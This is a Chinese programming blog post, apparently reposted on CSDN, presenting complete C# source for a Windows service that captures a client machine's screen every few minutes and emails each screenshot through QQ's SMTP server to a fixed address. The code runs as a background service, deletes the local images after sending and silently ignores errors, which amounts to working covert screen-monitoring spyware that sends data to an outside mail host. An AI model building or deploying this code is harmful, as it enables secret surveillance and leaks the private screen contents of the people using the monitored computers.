c#写的windows服务,定时抓取客户机的屏幕,并发送到指定的邮箱

本文介绍了一个Windows服务程序,该程序能定时捕获计算机屏幕,并将截图通过电子邮件发送到指定邮箱。利用.NET Framework中的类和方法实现屏幕截图功能,并使用SMTP服务发送邮件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 

windows服务,能够定时抓取客户机的屏幕,并发送到指定的邮箱。(参考了一些网上的代码,xp系统下测试无问题)

public partial class Service1 : ServiceBase

    {

        static DateTime time;

 

        [System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]

        private static extern bool BitBlt(

        IntPtr hdcDest, //目标设备的句柄

        int nXDest, // 目标对象的左上角的X坐标

        int nYDest, // 目标对象的左上角的X坐标

        int nWidth, // 目标对象的矩形的宽度

        int nHeight, // 目标对象的矩形的长度

        IntPtr hdcSrc, // 源设备的句柄

        int nXSrc, // 源对象的左上角的X坐标

        int nYSrc, // 源对象的左上角的X坐标

        System.Int32 dwRop // 光栅的操作值

        );

        [System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]

        private static extern IntPtr CreateDC(

        string lpszDriver, // 驱动名称

        string lpszDevice, // 设备名称

        string lpszOutput, // 无用,可以设定位"NULL"

        IntPtr lpInitData // 任意的打印机数据

        );

        public Service1()

        {

            InitializeComponent();

        }

 

        protected override void OnStart(string[] args)

        {

            time = DateTime.Now;

            System.Timers.Timer timer = new System.Timers.Timer(180000);

            timer.Elapsed += new System.Timers.ElapsedEventHandler(timer_Elapsed);

            timer.Enabled = true;

            timer.Start();            

        }

 

        void timer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)

        {

            if (DateTime.Now >= time)

            {

                time = time.AddMinutes(5);

                SendEmail();

            }

        }

 

        private void SendEmail()

        {

            try

            {

                #region 屏幕截屏

                Bitmap MyImage = null;

                IntPtr dc1 = CreateDC("DISPLAY", null, null, (IntPtr)null);

                //创建显示器的DC

                Graphics g1 = Graphics.FromHdc(dc1);

                //由一个指定设备的句柄创建一个新的Graphics对象

                MyImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);

                //根据屏幕大小创建一个与之相同大小的Bitmap对象

                Graphics g2 = Graphics.FromImage(MyImage);

                //获得屏幕的句柄

                IntPtr dc3 = g1.GetHdc();

                //获得位图的句柄

                IntPtr dc2 = g2.GetHdc();

                //把当前屏幕捕获到位图对象中

                BitBlt(dc2, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3, 0, 0, 13369376);

                //把当前屏幕拷贝到位图中

                g1.ReleaseHdc(dc3);

                //释放屏幕句柄

                g2.ReleaseHdc(dc2);

                //释放位图句柄

                string dir = Getdir();

                string path = dir + DateTime.Now.ToString("yyyyMMddHHmmss") + ".jpg";

                WriteLog(path);

                MyImage.Save(path, ImageFormat.Jpeg);

                #endregion

 

 

                #region 邮件发送程序

                SmtpClient mailClient = new SmtpClient("smtp.qq.com");

 

                //Credentials登陆SMTP服务器的身份验证.

 

                mailClient.Credentials = new NetworkCredential(qq邮箱, 密码);

 

                //test@qq.com发件人地址、test@163.com收件人地址

                MailMessage message = new MailMessage(new MailAddress("test@qq.com"), new MailAddress("test@163.com"));

                // message.Bcc.Add(new MailAddress("tst@qq.com")); //可以添加多个收件人

 

                //message.Body = "Hello Word!";//邮件内容

                message.Subject = DateTime.Now.ToString("yyyyMMddHHmmss");//邮件主题

 

                //Attachment 附件

                Attachment att = new Attachment(path);

                message.Attachments.Add(att);//添加附件           

                //发送

                mailClient.Send(message);

                if (File.Exists(path))

                    File.Delete(path);

 

                #endregion

            }

            catch(Exception e)

            {

 

            }

        }

        private string  Getdir()

        {

            if (Directory.Exists("c:\\"))

                return "c:\\";

            else if (Directory.Exists("d:\\"))

                return "d:\\";

            else if (Directory.Exists("e:\\"))

                return "e:\\";

            else if (Directory.Exists("f:\\"))

                return "f:\\";

            else

                return "g:\\";

        }

 

        private void WriteLog(string message)

        {

            string path1 = Getdir() + "\\" + DateTime.Now.ToString("yyyy-MM") + ".txt";

            if (!File.Exists(path1))

            {

                File.CreateText(path1).Close();

            }

            using (FileStream fs = new FileStream(path1, FileMode.Append, FileAccess.Write))

            {

                StreamWriter sw = new StreamWriter(fs);

                sw.WriteLine(message);

                sw.Flush();

                sw.Close();

                fs.Close();

            }

        }

        protected override void OnStop()

        {

 

        }

    }

 

/////该函数是为了windows服务和桌面交互

 

private void serviceInstaller1_AfterInstall(object sender, InstallEventArgs e)

        {

            base.OnAfterInstall(e.SavedState);

 

            ManagementObject wmiService = null;

            ManagementBaseObject InParam = null;

            try

            {

                wmiService = new ManagementObject(string.Format("Win32_Service.Name='{0}'", serviceInstaller1.ServiceName));

                InParam = wmiService.GetMethodParameters("Change");

                InParam["DesktopInteract"] = true;

                wmiService.InvokeMethod("Change", InParam, null);

            }

            finally

            {

                if (InParam != null)

                    InParam.Dispose();

                if (wmiService != null)

                    wmiService.Dispose();

            }

        }


原文地址:http://www.2cto.com/kf/201110/108850.html


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值